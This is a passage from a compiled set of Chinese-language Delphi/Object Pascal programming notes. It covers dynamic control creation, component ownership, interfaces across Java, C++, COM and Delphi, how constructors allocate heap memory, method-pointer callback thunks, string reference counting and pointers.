if Cls = nil then exit;

Result := Cls.Create(AOwner);

end;

procedure TForm1.Button1Click(Sender: TObject);

var

Control : TControl;

begin

Control := DynCreateControlByName(Edit1.Text);

if Control <> nil then

with Control do

begin

Parent := Self;

Left := Random(Self.Width) - Width;

Top := Random(Self.Width) - Height;

Perform(WM_SETTEXT,Length(Edit1.Text),integer(pchar(Edit1.Text)));

Show;

end;

end;

---------------------------------------

procedure TForm1.Button2Click(Sender: TObject);

begin

TWinControlClass(FindClass('TQRDBText')).Create(Self);

end;

initialization

RegisterClasses([TQRDBText]);

finalization

UnregisterClasses([TQRDBText]);

end.


Sender,Self,Owner，parent

Sender,Self,Owner，parent

-----------------------------------------------------

Sender--意义：指本对象。Sender在什么对象相关代码里，那么Sender就是什么。

Self--意义：指本类，也就是Self被引用的类。比如若在类TMyClass内引用了Self，那么Self=TMyClass.

Owner--意义：哪个对象释放我的内存啊？

如：Pan:=TPanel.Create(Self);其中Create的参数是：AOwner:TComponent。Owner释放Pan的内存。因为窗口释放Pan的内存，但窗口类的对象是Self.一般给Owner传Self就可以。

比如：

代码段一：

pan:=TPanel.Create(Self);

with Pan do begin

try

Left:=20;

Top:=20;

parent:=Self; //Parent:=Form1也可以。

Visible:=true;

ShowMessage('Created');

finally

Pan.free;

end;

end;

-----------------------------------------------------

Parent--

意义：此对象包括在哪个对象里那？

说明：若组件不是从TControl继承来的，那么在创建组件后不必声明此属性。


System单元一些有用的变量或者常数

ExceptProc ///定义未知异常处理例程，这是一个很低层的东西！：），不能处理系统异常！

ErrorProc ///定义RTL错误处理例程，也是一个很低层的东西，不过只能处理RunTimeErro！

SafeCallErrorProc ///SafeCall调用处理例程

AssertErrorProc ///断言错误处理例程

AbstractErrorProc: Pointer;///抽象错误处理例程

HPrevInst: LongWord; ///检测程序的进程是否存在，在Win32中不能使用！

MainInstance: LongWord; /// 主程序(.EXE) 实例句柄

MainThreadID: LongWord; { ThreadID of thread that module was initialized in }

IsLibrary: Boolean; ///模块是否是DLL

CmdShow: Integer; ///指定CreateWindow的CmdShow参数

CmdLine: PChar; ///命令行指针

InitProc: Pointer; ///初始化例程

ExitCode: Integer; ///程序退出代码

ExitProc: Pointer; ///程序结束时的退出例程

ErrorAddr: Pointer; ///发生Run Time Error是的地址

RandSeed: Longint; ///随机种子

IsConsole: Boolean; ///是否是控制台程序

IsMultiThread: Boolean; ///是否是多线程

FileMode: Byte; ///打开文件的模式

Test8086: Byte; { Will always be 2 (386 or later) }

Test8087: Byte; { Will always be 3 (387 or later) }

TestFDIV: Shortint; { -1: Flawed Pentium, 0: Not determined, 1: Ok }

GetHeapStatus ///获得内存堆的状态

RaiseLastWin32Error ///请查看帮助，以便获得关于异常的其他函数信息

ErrorAddr variable

Contains the address of a statement causing a runtime error.

ErrorProc variable

Points to the RTL run-time error handler.

ExceptAddr function

Returns the address at which the current exception was raised.

ExceptObject function

Returns a reference to the object associated with the current exception.

ExceptProc variable

Points to the lowest-level RTL exception handler.

ExceptionErrorMessage function

Formats a standard error message.

OutOfMemoryError procedure

Raises an EOutOfMemory exception.

RaiseLastWin32Error procedure

Raises an exception for the last occurring Win32 error.

SetErrorProc function

Replaces the exception handler for error messages that are received from a Windows socket connection.

ShowException procedure

Displays an exception message with its physical address

SysErrorMessage function

Converts Win32 API error codes into strings.

Win32Check function

Checks the return value of a Windows API call and raises an appropriate exception when it indicates failure.


接口的讨论

来自：cheka, 时间：2001-9-13 22:39:00, ID：624833

以前我在 CSDN 里 Java 版参与的接口讨论：

在<<thinking in Java>>中,Interface 是和Inner Classes 放在一起说的,

两者关系很紧密(并非是说Inerface只能指向Inner Classes的类）．

建议好好看看该书的第８章的例子，如果你也曾读过<<VC++技术内幕>>(第四版）

中模拟COM的C++代码,会发现两者Interface（C++中表现为一个纯虚类)的使用

方法如出一辙.

我个人感觉接口在应用概念上与基类是有差别的,比方说有一个组合音响类,

那么"家电"是它的基类,而"CD机","功放"则是它的接口,如果一个用户只想使用

"CD机",那么他可以仅仅与"CD机"这一接口打交道(当然一定会存在整个音响的

对象实例,但对用户是透明的),这也是COM的基本原理.

来自：yysun, 时间：2001-9-14 3:58:00, ID：624988

我来细说不同的 interface

1. Java 中的 Interface

Java 取消了多重继承, 却引入Interface作为基本语言要素来实现类似多重继承的功能.

Java中的Interface是一种没有实现(implementation)的纯虚拟类. 同样拿"组合音响"做例子.

我们可以定义一个组合音响 interface, 然后, 做出索尼音响, 爱华音响, 先锋音响类 ...

组合音响 interface 是虚的, 只有定义: 电源200/50, 输出200w, 5盘CD机 ...

由具体的类如索尼音响来这些功能实现, 实现方法可以各异.

interface 组合音响 {

public void play();

}

class 索尼音响 extends 家电 implements 组合音响 {

public void play() {

// 用索尼6通道环绕系统

......

}

}

2. C++ 中的 Interface

我的印象中 C++ 是没有 Interface 作为基本语言要素的.它有多重继承和 template.

class 组合音响 {

virtual public void play()=0;

}

class 索尼音响 : public 家电, public 组合音响 {

public void play();

}

void 索尼音响::play() {

......

}

这里的组合音响必定是个类. C++中没有看到过 :

interface 组合音响 {

}

3. COM 中的 Interface

COM 中的 Interface 概念是独立于 C++ 本身语言概念以外的东西, 是为了方便不同语言

之间相互调用而设立的规范(用IDL来描述的, 存放于所谓typelib中). 看 VC++ 实现

Interface 用了很多 template 和宏来完成.

class C索尼音响: public 家电,

public CComObjectRootEx<CComSingleThreadModel>,

public CComCoClass<C组合音响, &CLSID_组合音响>,

public IDispatchImpl<I组合音响, &IID_I组合音响, &LIBID_组合音响Lib>

{

BEGIN_COM_MAP(C组合音响)

COM_INTERFACE_ENTRY(I组合音响)

COM_INTERFACE_ENTRY(IDispatch)

COM_INTERFACE_ENTRY_IID(CLSID_组合音响, C组合音响)

END_COM_MAP()

public:

STDMETHOD(play)();

}

STDMETHODIMP 索尼音响::play(){

......

}

您可以看到, 为了这个 COM 的 Interface, VC++ 是如何大动干戈的了.

这么做的目的就是使得 VB 可以很方便地接上去:

Dim 我的音响 as 家电库.索尼音响;

我的音响.play

4. Delphi 中的 Interface

Delphi 1 开始的时候, 没有多重继承, 也没有 Interface, 还挺嘴硬: 多重继承容易出错.

以后为了支持 COM. Delphi 必须按照 MS 的规范实现了 COM Interface.

VC++ 是 C++, 必须遵守基本的 C++ 语法, 所以把 COM Interface 用template和宏来弄累极了.

Object Pascal 是 Borland 独家拥有, 想怎么定义自己觉得好就行. 所以 Delphi 3 的

Object Pascal 中始见如下写法:

type

I组合音响 = interface;

I组合音响 = interface(IDispatch)

['{621D2E6A-E5E5-4919-8230-2E2EAB3CB38x}']

procedure play; safecall;

end;

T索尼音响 = class(TOleServer, I组合音响)

end;

class 后面的括号里可以写几样东西了.以前的 Turbo Pascal, Borland Pascal 可绝对不允许的.

这些东西就是 COM Interface. (导入/import type library 时自动生成)

Delphi 3, Delphi 4, Delphi 5 传了三代. 很多人对 Delphi 中的 Interface 认识仅限于此.

各位看官, 转眼到了 2001, 话说 Delphi 6 推出.我要郑重地告诉大家:

Delphi 6 中的 Interface 已经由单纯支持 COM Interface 的性质转变

到 Java Interface 的性质. 而已经完全是Design Patterns 中所定义的 Interface.

这是一场革命!

所以现在用 Delphi 6 做 COM/DCOM 用 Interface, SOAP 也用 Interface, CORBA 也用

Interface. 已经远不局限于 COM 了

我写得好累, 几次叉到如何调用 COM 的细节去, 又删掉回到 Interface 的主题.

终于写完了, 如有不妥, 敬请 cheka 等不吝指正.

来自：cheka, 时间：2001-9-15 14:29:00, ID：627629

佩服得说，我从来没有碰过Soap，对COM，Corba只是有些肤浅认识，就在语言方面

做点补充吧。

1. 关于 多重继承 和 接口 。

事实上应该从继承说起，继承意味着子类具有父类所有的成员变量和成员方法，

（从本质而言，父类是作为子类的一个内嵌类存在的），那么多重继承也就意味

着子类具有好几个父类的所有成员变量及成员方法，这本身没有什么玄妙的地方，

但是一旦出现一种“菱形”结构， 即类 d1, d2 继承于类 b, 而类 mi 又多重继

承了类 d1,d2 ，则 mi 类中则会包含有两个 b 类的内嵌类，在做从 mi 到 b

的向上映射时，会出现二义性（C++ 用了一种虚继承的机制来避免这种情况）。

我个人认为很多时候不应该把接口和多重继承放在一起谈，因为接口没有成员

变量，没有实现了的成员方法，它根本没办法作为另一个类的内嵌成员存在。也就

是说没有什么类可以“继承”接口，只有“实现”接口。

写完上面的东西我中午出去溜达了一圈，买了本《COM本质论》（南京的朋友可

以在军人俱乐部内的科海书店用75折买到），先大概看了该书序言，里面一段话于

我心有戚戚，hoho，摘录这段话，希望不会被人告侵权：

“实际上应该存在两种继承性。实现继承（implementation inheritance )表示

真正的实现（即行为）被继承；而接口继承（ interface inheritance )则表示

只有行为的规范被继承”

以这个角度来理解的话，Java 和 Delphi 里的接口 还有 C++ 里的纯虚基类

都是提供了接口继承， 但是千万不要以为这是多重继承的替代，我想有必要强调这

一点: 只有在作向上映射时，接口才能发挥作用。

2. 关于 接口 和 设计模式

设计模式中关于接口的最最最最直观运用是 Adapter 即 适配器 模式，而

Adapter 在Observer 模式中也起到了相当重要的应用，强调这两个模式有两个原

因

一， 这两个模式我最常用，也可以说别的模式我用得很少或者根本不会用。

二， 我觉得这两个pattern 适合初学模式的入手，也很容易从中发现pattern

及面向对象的妙处。

来自：LeeChange, 时间：2001-9-13 14:37:00, ID：623921

打个多重继承的比方:

你有一个接口: I吃掉.他有一个方法(当然是虚拟的)叫 I吃掉.eat

你还有两个类: T水果和T药,都实现了I吃掉接口.

那么你就可以这样写程序

AInterface:=AObjecct as I吃掉;

AInterface.eat;

程序自然会用正确的吃法去解决,而不管你的AObject是水果还是药

来自：cheka, 时间：2001-9-13 14:39:00, ID：623928

简单地说，接口就是一个纯虚类，没有任何实现

来自：kindly, 时间：2001-9-13 20:49:00, ID：624672

接口可以实现多重继承，举个图形方面的例子来说，可以定义IColor,IPosition,ISize,IDraw

这几个接口，然后再类中实现多重接口例如：

TMark=class(TInterfacedObject,IColor,IPostion,IDraw);

TSquare=class(TMark,IColor,IPosition,ISize,IDraw);

另外用接口写的东西可以不管你用什么语言都可以调用


对Object Pascal编译器给类对象分配堆内存细节的一种大胆猜

说明：下面的内容仅仅属于个人观点。

对Object Pascal编译器给类对象分配堆内存细节的一种大胆猜

mahongxi (烤鸡翅膀)(色摸)

对Object Pascal编译器给类对象分配堆内存细节的一种大胆猜

CSDN烤鸡翅膀

读过我以前写的文章的网友，都知道我是一个喜欢“刨根问底”、“死钻牛角尖”的家伙。最近由于工作需要转学DELPHI，在接触Object Pascal之后，果然领会到了它的整洁和优美，怪不得连《程序设计语言：设计与实现》一书的作者也称赞pascal是“一种极优美的语言”。但在学习过程中遇到了好多问题，特别是对于像我这样由C++转至OP[对Object Pascal的简称]学习的人，由于两种语言风格不同，问号就会更多了。其中，OP和C++语言的一个很大的区别就是：类对象[或称之为类实例]的内存分配机制不同。其中有两方面要说：

一、什么时候分配？

在C++中，定义了对象，那么马上分配其内存，之后调用其构造函数，这个内存可能在堆中，也可能在栈内，也可能在全程数据区内。但OP却截然不同，定义一对象，如：obj : TObject;只是为其分配了4字节的一个指针空间，而真正的对象空间还没有分配，那怎么用？在使用前当然要给对象分配空间，不然就会造成访问内存出错，给对象分配空间的办法也很简单：

obj := Tobject.Create;

就OK，这个对象空间是分配在堆内的，大家知道，栈内空间可以在使用期过后自动回收，但堆内存需要程序员自己管理，所以在使用完类对象之后，别忘了 obj.Free [真正实现析构的是obj.Destroy，但obj.free是一种更安全的方式]。

“什么时候分配”这个问题在OP和C++上的答案确实不同，但还不至于让我“疑惑”。知道了OP类对象是通过调用这样的语句（构造函数）：obj := Tobject.Create;来得到堆内存的，但在这个处理细节上，编译器在内部是如何实现分配堆内存的呢？

请看下一个问题：

二、OP编译器是如何分配的内存？

首先要感谢Lippman的《Inside C++ Ojbect Model》，这是一本不可多得的好书，她告诉了你对于C++编译器实现的一些你最迷惑、也是最想关心的细节，但不知DELPHI业界内有没有这样一本书，可以让我清楚的了解到OP编译器具体[具体到每个细节]是如何给一个类对象分配堆内存的 [如果有这样的书，您一定要通知我：coder@vip.sina.com] ？

我大胆的做了猜测！

一些小动作都是在Tobject类内部事先已经定义好的！下面让我们来关注一下这几个Tobject类方法(Tobject定义于System.pas)：

TObject = class

……

constructor Create;

procedure Free;

class function InitInstance(Instance: Pointer): TObject;

procedure CleanupInstance;

class function InstanceSize: Longint;

class function NewInstance: TObject; virtual;

procedure FreeInstance; virtual;

destructor Destroy; virtual;

end;

从方法的名称上我们能隐约的感觉到：NewInstance和FreeInstance肯定和类对象的构造和析构有些关联！

先来分析一下NewInstance：

class function TObject.NewInstance: TObject;

begin

Result := InitInstance(_GetMem(InstanceSize));

end;

只有一句代码，但却调用了三个其它方法：

1、

class function TObject.InstanceSize: Longint;

begin

Result := PInteger(Integer(Self) + vmtInstanceSize)^;

end;

这个方法是OP类实现RTTI的一个重要方法，它能返回类对象所需要占用堆内存的大小，注意它并非是类对象所占有内存大小，因为类对象是一指针，那么在32位环境下，指针永远是4字节！

大家可能对这句代码比较疑惑Result := PInteger(Integer(Self) + vmtInstanceSize)^;下面我定义一个OP类：

TBase = class(TObject)

x : Integer;

y : Double;

constructor Create;

end;

然后分配内存：

b : Tbase ;

b := TBase.Create;

我设想分配后的内存布局应是这样的[按C++对象的内存考虑联想的]：

[此处为图片，显示不出，请参考我的专栏的文章]

再来看这句：Result := PInteger(Integer(Self) + vmtInstanceSize)^;它的目的是取到VMT中Index = -40[注意：常量vmtInstanceSize = -40]的格子中的内容。大家看这里的

Self变量是什么值呢？是b的值也就是VPTR的ADDRESS吗？绝对不是！因为程序在执行到TObject.InstanceSize时只是想通过调用它知道得划分多少堆内存，但还没有正式分配堆内存，也就是说，VPTR、X、Y还不存在[但VMT是和类一同建立起来的，它包含了和类有关的一些信息，如类实例需要请求的堆内存的大小等等]，当然这个Self也就不能是b的值了，我猜测它的内容是VMT中index = 0的格子的Address,只有这样，这里的代码和下面要讲的代码才能被正常解释，但，Self是怎么被Assigned为这个值的，我想是编译器所做的处理吧。

这样，Result := PInteger(Integer(Self) + vmtInstanceSize)^自然得到了类对象所需要堆内存大小的信息！

为了证明我上面的猜测是正确的，大家可以实验以下代码：

var

b :Tbase;

size_b : Integer;

begin

b := TBase.Create;

ShowMessage(Format('InitanceSize of TBase : %d',[b.InstanceSize]));

size_b := PInteger(PInteger(b)^ - 40)^;

ShowMessage(Format('InitanceSize of TBase : %d',[size_b]));

……

end;

大家可以看到，两种方法得到的是同一个值！

好，现在我们回过头来讲解TObject.NewInstance中要调用的第二个函数。

2、function _GetMem(Size: Integer): Pointer;

它在System.pas 中的定义如下：

function _GetMem(Size: Integer): Pointer;

{$IF Defined(DEBUG) and Defined(LINUX)}

var

Signature: PLongInt;

{$IFEND}

begin

if Size > 0 then

begin

{$IF Defined(DEBUG) and Defined(LINUX)}

Signature := PLongInt(MemoryManager.GetMem(Size + 4));

if Signature = nil then

Error(reOutOfMemory);

Signature^ := 0;

Result := Pointer(LongInt(Signature) + 4);

{$ELSE}

Result := MemoryManager.GetMem(Size);

if Result = nil then

Error(reOutOfMemory);

{$IFEND}

end

else

Result := nil;

end;

具体代码就不分析了，但我们终于看到了OP中分配堆内存的具体函数，原来是OP是通过一个内存管理器MemoryManager来管理类对象所取得的堆内存空间的！

TObject.NewInstance中第三个调用的方法：

3、

class function TObject.InitInstance(Instance: Pointer): TObject;

{$IFDEF PUREPASCAL}

var

IntfTable: PInterfaceTable;

ClassPtr: TClass;

I: Integer;

begin

FillChar(Instance^, InstanceSize, 0);

PInteger(Instance)^ := Integer(Self);

ClassPtr := Self;

while ClassPtr <> nil do

begin

IntfTable := ClassPtr.GetInterfaceTable;

if IntfTable <> nil then

for I := 0 to IntfTable.EntryCount-1 do

with IntfTable.Entries[I] do

begin

if VTable <> nil then

PInteger(@PChar(Instance)[IOffset])^ := Integer(VTable);

end;

ClassPtr := ClassPtr.ClassParent;

end;

Result := Instance;

end;

{$ELSE}

asm

PUSH EBX

PUSH ESI

PUSH EDI

MOV EBX,EAX

MOV EDI,EDX

STOSD

MOV ECX,[EBX].vmtInstanceSize

XOR EAX,EAX

PUSH ECX

SHR ECX,2

DEC ECX

REP STOSD

POP ECX

AND ECX,3

REP STOSB

MOV EAX,EDX

MOV EDX,ESP

@@0: MOV ECX,[EBX].vmtIntfTable

TEST ECX,ECX

JE @@1

PUSH ECX

@@1: MOV EBX,[EBX].vmtParent

TEST EBX,EBX

JE @@2

MOV EBX,[EBX]

JMP @@0

@@2: CMP ESP,EDX

JE @@5

@@3: POP EBX

MOV ECX,[EBX].TInterfaceTable.EntryCount

ADD EBX,4

@@4: MOV ESI,[EBX].TInterfaceEntry.VTable

TEST ESI,ESI

JE @@4a

MOV EDI,[EBX].TInterfaceEntry.IOffset

MOV [EAX+EDI],ESI

@@4a: ADD EBX,TYPE TInterfaceEntry

DEC ECX

JNE @@4

CMP ESP,EDX

JNE @@3

@@5: POP EDI

POP ESI

POP EBX

end;

{$ENDIF}

刚才知道_GetMem已经得到了堆内存空间，而我们现在要讨论的这个方法是进行一些必须的初始化。其它代码不管，只看这两句：

FillChar(Instance^, InstanceSize, 0);

PInteger(Instance)^ := Integer(Self);

第一就是给类对象清零，现在我们知道为什么OP的类实例的字段会自动被初始化为零了吧[String就为空，指针就为nil]！

第二条语句，是让VTPR指针指向VMT表的0号格子[读者请参考结构图自行分析，此处也证明上面我对Self值的猜测的正确性]。

到了这里，你也许会说，说了半天，都是猜测，或许，OP编译器根本就不会调用那个TObject.NewInstance方法呢！

问得好，再做实验！

还是以上面的那个Tbase类为例，重载TObject.NewInstance方法，如下：

TBase = class(TObject)

x : Integer;

y : Double;

class function NewInstance: TObject; override;

procedure FreeInstance; override;

constructor Create;

end;

{实现}

constructor TBase.Create;

begin

self.x := 2;

self.y := 3.14;

end;

procedure TBase.FreeInstance;

begin

inherited;

ShowMessage(Format('Call %s.FreeInstance!!!',[self.ClassName]));

end;

class function TBase.NewInstance: TObject;

begin

ShowMessage(Format('call %s.NewInstance',[self.ClassName]));

result := inherited NewInstance;

end;

之后进行简单的声明对象：

var

b : Tbase;

begin

b := Tbase.Create; &szlig;在这里设断点！

b.Free;

end;

通过对代码进行跟踪果然在一进入Create就马上调用NewInstance方法。

[说明：一定要重载它才能跟踪到它，在断点处，观察CPU，从反汇编后的代码中可以发现，是先调用一个_ClassCreate，然后才调用NewInstance]

用同样的方法可以分析出b.Free会最终调用到FreeInstance;来释放对象。

我想基本上大的问题已经说请了，Object Pascal为了实现分配堆内存，在你调用构造器的时候：

b := Tbase.Create;

在构造方法内你的代码前，安插了代码调用NewInstance方法，析构时，则在析构函数中你的代码后，调用FreeInstance函数。

那么，现在再来看这种情况：派生

TBase = class(TObject)

x : Integer;

y : Double;

class function NewInstance: TObject; override;

procedure FreeInstance; override;

constructor Create;

end;

TSub = class (TBase)

m : Integer;

n : Double;

constructor Create;

end;

{实现}

constructor TBase.Create;

begin

self.x := 2;

self.y := 3.14;

end;

procedure TBase.FreeInstance;

begin

inherited;

ShowMessage(Format('Call %s.FreeInstance!!!',[self.ClassName]));

end;

class function TBase.NewInstance: TObject;

begin

ShowMessage(Format('call %s.NewInstance',[self.ClassName]));

result := inherited NewInstance;

end;

{ TSub }

constructor TSub.Create;

begin

inherited Create; &szlig;注意这里！

self.m := 4;

self.n := 12.32;

end;

我们已经知道，

var

s : Tsub;

s := Tsub.Create;

时，在进入Tsub.Create内部马上得到了它想要的内存[这里是32字节]，那么当：

inherited Create;时，在Tbase.Create内部，还有内存分配的动作吗？我们可以通过三点证明：这里，Tbase.Create只是完成程序员给出的初始化代码，没有进行内存分配的动作。

第一点，ReturnValue := inherited Create;所得到的返回地址和调用Tsub.Create所得到的返回地址相同。

第二点，如果在Tbase.Create内部又分配新的内存，那么

self.x := 2;

self.y := 3.14;

只是针对新的内存操作，而原来的S对象中从TBASE中继承来的X，Y不会变，还是0，但我们发现，S中的X，Y已经改变，所以也可以证明Tbase.Create没有分配新的内存，只是对原有内存中的X，Y进行设置。

第三点，跟踪。这是最简单，最一目了然的方法，看看inherited Create;到底有没有调用NewInstance，实验证明，跟本没有调用。

但是，如果把Tsub.Create中的inherited Create;改为Tbase.Create;情况则大不同了，用上面三种方式发现，它又分配了新的堆内存，这样不但没有达到程序员初始化数据的目的，反而造成了内存泄漏，而这样的BUG是很难找到的。

也就是说，编译器发现如果是通过类来调用构造函数，就会当成是新的类对象进行构造、分配堆内存，如果是在构造器内部inherited Create；只是按常规的处理 类方法 的方式进行处理。我想，对于Anders Hejlsberg[DELPHI设计者]，想在编译器中实现这样的功能并非一件难事[实际上，我们通过查看汇编代码也能分析出个中原由，有兴趣者请注意其中的TEST d1,d1指令和其下的跳转指令]。

PS：刚才被网友告知有本书叫《delphi的原子世界》，我很想得到它，如果您手上有它的E-BOOK版，希望您能发给我： coder@vip.sina.com

Constructor是一个类函数，也就是说，在调用之前他已经存在了，Delphi中全部的用到的类的定义都会存放在内存中，Create的时候分配实例内存，分配的内存大小，类定义的位置-40字节的地方，是一个整数类型，调用Create的时候编译器自动的调用了Object的分配内存的类方法，如果不依赖通过调用类的Create方法构造实例，那么可以通过NewInstance的类方法分配内存，然后调用实例的Create来实现初始化。

对于一个类方法而言，Self隐含参数指出的是类定义的基地址，但是是有变化的，如果通过类来调用类方法，Self指出的是类定义的基地址，但是通过实例调用类方法，那么Self指出的是实例的基地址。

通过以上讨论，可以看出，在一个Create当中不使用inherrited Create是而通过Base类不符合构造逻辑的，因为，Base的构造的含义是重新生成一个Base类实例。实际上，在调用类的Constructor的时候已经为类的实例分配好了内存，inherrited Create的含义不是分配内存，而是让基类有机会初始化他的内部变量，你不掉用，符合你需要的类的大小的内存也已经分配了。TComponent就没有调用inherrited Create，因为他的祖先类根本不需要初始化私有变量，就是说没有需要分配内存的私有变量。在Constructor当中的self指出的是类的实例的基地址，不是类定义的基地址，因为编译器生成了创建实例，然后再调用实例的Create的代码。

调用类的Constructor编译器生成的代码，还包括一个try except的外壳，如果新的实例在他的Create当中引发了异常，那么新的实例内存就会被回收，没有任何内存会被分配。

其实说穿了，你把Tsub.Create中的inherited Create改为Tbase.Create，并不是在“重载构造函数”而是“在类中创建类”，请看：

constructor TSub.Create;

begin

Tbase.Create; // ?注意这里！在类的构造函数里继续创建==非法的对象引用

self.m := 4;

self.n := 12.32;

end;

这样就很容易理解了。

在DELPHI中：

‘类引用’会调用类的NewInstance方法以获得类实例

‘对象引用‘不会调用类的NewInstance方法

总结：

先引用一段“DELPHI技术手册”上的一段话：

“构造函数是一种特殊的方法。如果通过类的引用调用一个构造函数，DELPHI会创建该类的一个实例，初始化实例，并适当调用构造函数。如果通过对象的引用来调用构造函数，DELPHI会把构造函数当作一个普通的函数来调用。

DELPHI规则使得构造函数可以调用同一个类的构造函数或者一个继承下来的构造函数。这个调用使用一个对象引用（即SELFT），所以构造函数就被当作一个普通的方法来调用。

通过类的引用来调用构造函数时，DELPHI将调用NewInstance方法创建实例。TObject.NewInstance给新对象要配内存并把这些内存全部置零。”

inherited关键字的意义：‘派生类中的方法可以通过在方法调用前面使用inherited关键字代替对象引用来调用它的基类的一个方法。’

constructor TSub.Create;

begin

Tbase.Create; //这里显然是一个类引用，但是它是一个没有分配引用指针的类引用，会引起内存泄漏，那么它为什么会分配堆内存呢，因为‘通过类的引用来调用构造函数时，DELPHI将调用NewInstance方法创建实例。TObject.NewInstance给新对象要配内存并把这些内存全部置零。’

self.m := 4;

self.n := 12.32;

end;

constructor TSub.Create;

begin

inherited Create; //inherited关键字是代替对象引用来调用它的基类的一个方法，那么它是一个对象引用，DELPHI的VCL后台程序规则，也就是DELPHI的VCL程序执行规则决定了即然是对象引用，那么‘如果通过对象的引用来调用构造函数，DELPHI会把构造函数当作一个普通的函数来调用。’

self.m := 4;

self.n := 12.32;

end;

木石三，纠正你上面的一段话。

作为一个进程而言，不管它退出的时候是否释放了他申请的内存，windows都会无条件的收回，所以你关于进程在退出前回收内存的说法是不恰当的，通常，进程退出就直接完成了，不会去回收内存。你所说的情况，只会是在Windows95以前的版本中会出现，在进程共享堆的时候，他有义务回收，但是在win98以后，堆不再是共享的，而是进程隔离的，这时候进程没有义务回收。同样的情况适用于进程使用的系统对象，进程退出就会释放对象句柄，不过，对象句柄存在引用技术，进程间共享的对象，在引用计数达到0才释放，这种情况适合进程间共享内存，不过不管是否释放，进程退出的时候windows都会清理他用过的对象，引用计数减一。


如何取得类方法的指针

可以使用@AClassInstance.MethodName来取得地址，不过有一个缺点，就是在调用作为Callback的时候，不能使用类的变量。

// Converting method pointers into function pointers

// Often you need a function pointer for a callback function. But what, if you want to specify a method as

// an callback? Converting a method pointer to a function pointer is not a trivial task; both types are

// incomatible with each other. Although you have the possibility to convert like this "@TClass.SomeMethod",

// this is more a hack than a solution, because it restricts the use of this method to some kind of a class

// function, where you cannot access instance variables. If you fail to do so, you'll get a wonderful gpf.

// But there is a better solution: run time code generation! Just allocate an executeable memory block, and

// write 4 machine code instructions into it: 2 instructions loads the two pointers of the method pointer

// (code & data) into the registers, one calls the method via the code pointer, and the last is just a return

// Now you can use this pointer to the allocated memory as a plain funtion pointer, but in fact you are

// calling a method for a specific instance of a Class.

type TMyMethod = procedure of object;

function MakeProcInstance(MyMethod: TMyMethod): Pointer;

begin

// allocate executeable memory

Result := VirtualAlloc(nil, 13, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

asm

// write "move eax, <data pointer constant>"

mov byte ptr [eax], $B8

mov ecx, TMethod(M).Data

mov dword ptr [eax+1], ecx

// write "move ecx, <code pointer constant>"

mov byte ptr [eax+5], $B9

mov ecx, TMethod(M).Code

mov dword ptr [eax+6], ecx

// write "call ecx"

mov byte ptr [eax+10], $FF

mov byte ptr [eax+11], $D1

// write "ret"

mov byte ptr [eax+12], $C3

end;

end;

// After all, you should not forget to release the allocated memory.

// "TMyMethod" can be modified according your specific needs, e.g. add some parameters for a WindowProc.

// N.B.: Yes, I know, Delphi has those "MakeProcInstance" function in its forms unit.

// But this works a little bit different, has much more overhead,

// and most important, you have to use the forms unit, which increases the size of your exe drastically,

// if all other code doesn't use the VCL (e.g. in a fullscreen DirectX/OpenGl app).

// if you have questions: Florian.Benz@t-online.de


堆和栈

在win32和win16中，堆（heap）是指可供分配的内存，进程中可动态分配。

在传统的C中堆和栈实际是一块物理内存，堆主要用来动态分配内存，从堆栈内存的低端向上分配；而栈主要用来传递函数参数、返回值和局部参数内存分配，是从堆栈内存的高端向下分配，俗称压栈和出栈。

一般的子程序的入参及局部变量都放在栈中的,子程序结束后,栈中的局部变量将消失;

对象.Create及New申请的动态空间都是在堆中分配的,在堆中分配的空间不能自动释放,

必须用语句显式地释放


引用计数

什么是引用计数(referenc-counted)？pchar与string的区别之一是：string是referenc-counted,而pchar不是，但是我不明白什么是referenc-counted

详细说起来太累，就简单说一下，我刚刚起床，牙齿还没有刷。。。。

字符串类型有引用计数的功能，这表示几个字符串都能指向相同的

物理地址。因此，复制字符串因为仅仅是复制了指针而不是复制实际的字符串而变得非常快。

string的内存基本上是wwwhym所说,(分配的大小||引用记数|长度|字符串)

当两个或更多的A n s i S t r i n g 类型共享一个指向相同物理地址的引用时，D e l p h i 内存管理使用了

c o p y - o n - w r i t e 技术，一个字符串要等到修改结束，才释放一个引用并分配一个物理字符串。下面的例

子显示了这些概念：

var

S1,S2 : string ;

begin

//给S1赋值，S1的引用计数为1

S1:='And now for something...';

S2:=S1; //现在S2 与S1 指向同一个字符串，S1 的引用计数为2

//S2 现在改变了，所以它被复制到自己的物理空间，并且S1 的引用计数减1

S2:=S2+'completely diff e r e n t 1 ' ;

end ;

分配的大小引用计数长度


SizeOf和InstanceSize

SizeOf不适合于对象，返回的总是4；对于固定类型可以正确返回；编译的时候确定大小

InstanceSize运行是确定大小。

对Class来说，instancesize应该是类的实例的实际占用内存空间的大小

除了你看得见的数据以外，在类的开头还有一个指针（4 Bytes）指向类的类型信息

如ParentClass、Function入口等信息（这一行的可靠性大约为70%）

我用VC和Delphi通过TCP/IP传递对象，就遇到了这个问题。

一定要把得到的指针的值加上4以后，再把其后的内容发给对方。（读取过程也一样）


Object Pascal的内存模式

Object Pascal使用混合内存管理模式：

方法：Far

接口声明部分的过程：Far

仅仅在实现部分使用的过程：Near

堆数据和普通指针（包括类的实例）：Far

全局变量：Near（基于DS寄存器）

局部变量和函数参数：Near（基于SS寄存器）

用Far或者Export声明的过程：Far

新的类的虚拟内存表(VMT)：Far

老的类的虚拟VMT：Near

但是在32位的Delphi中，使用的是32位的地址、数据、堆栈指针，因此无所谓Far&Near了，但是对于你的程序而言，没有关系的，Delphi一样可以编译，唯一需要注意的是，integer类型由原来的16位变成了32位~~~~~~~~~：）


Pacal的指针

原文(nicrosoft于2001/08/26 21:19粘贴)

浅谈Object Pascal的指针

--------------------------------------------------------------------------------

浅谈Object Pascal的指针

Nicrosoft(nicrosoft@sunistudio.com) 2001.8.26

(http://www.sunistudio.com/asp/sunidoc.asp)

大家都认为，C语言之所以强大，以及其自由性，很大部分体现在其灵活的指针运用上。因此，说指针是C语言的灵魂，一点都不为过。同时，这种说法也让很多人产生误解，似乎只有C语言的指针才能算指针。Basic不支持指针，在此不论。其实，Pascal语言本身也是支持指针的。从最初的Pascal发展至今的Object Pascal，可以说在指针运用上，丝毫不会逊色于C语言的指针。

以下内容分为八部分，分别是

一、类型指针的定义

二、无类型指针的定义

三、指针的解除引用

四、取地址（指针赋值）

五、指针运算

六、动态内存分配

七、字符数组的运算

八、函数指针

一、类型指针的定义。对于指向特定类型的指针，在C中是这样定义的：

int *ptr;

char *ptr;

与之等价的Object Pascal是如何定义的呢？

var

ptr : ^Integer;

ptr : ^char;

其实也就是符号的差别而已。

